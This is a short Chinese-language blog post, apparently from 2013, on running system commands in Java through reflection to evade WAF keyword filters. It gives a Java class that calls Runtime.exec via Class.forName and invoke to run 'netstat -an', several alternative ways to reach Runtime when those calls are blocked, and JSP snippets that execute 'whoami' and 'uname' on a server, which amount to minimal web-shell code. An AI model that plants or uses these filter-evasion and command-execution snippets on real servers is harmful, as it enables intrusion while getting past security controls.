2013-12-28 14:39:39

Java 反射执行系统命令

某些时候为了避免一些关键字或者限制,可以用反射去调用一些敏感的东东。比如某些WAF限制了:Runtime.getRuntime().exec、import java.lang.reflect.*。
package org.javaweb.url;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class z7y{
    public static void main(String[] args) throws Exception {
    	BufferedReader br = new BufferedReader(new InputStreamReader(((Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{})).exec("netstat -an").getInputStream()));
    	String str = "";
    	while((str=br.readLine())!=null){
    		System.out.println(str);
    	}
    }
}

1

Java默认导入了java.lang包,所以可以直接使用 Runtime对象,但是java.lang.reflect包需要导入,如果不想导入可以直接用间接的方式调用。如果连Class.forName也被拦截了可以改成:

String.class.getClass().forName("java.lang.Runtime")
...当然,还可以用:Runtime.class 代替Class.forName("java.lang.Runtime")....如果还被拦截,可以用URLClassLoader试试绕过。
<%
	out.println(new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec("whoami").getInputStream())).readLine());
	out.println("<hr/>");
	Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime", new java.lang.Class[]{}).invoke(null, new Object[]{});
	out.println(new java.io.BufferedReader(new java.io.InputStreamReader(r.exec("uname").getInputStream())).readLine());
%>

2

如果只想执行,不想看结果:

<%Runtime.getRuntime().exec("whoami");%>
发表回复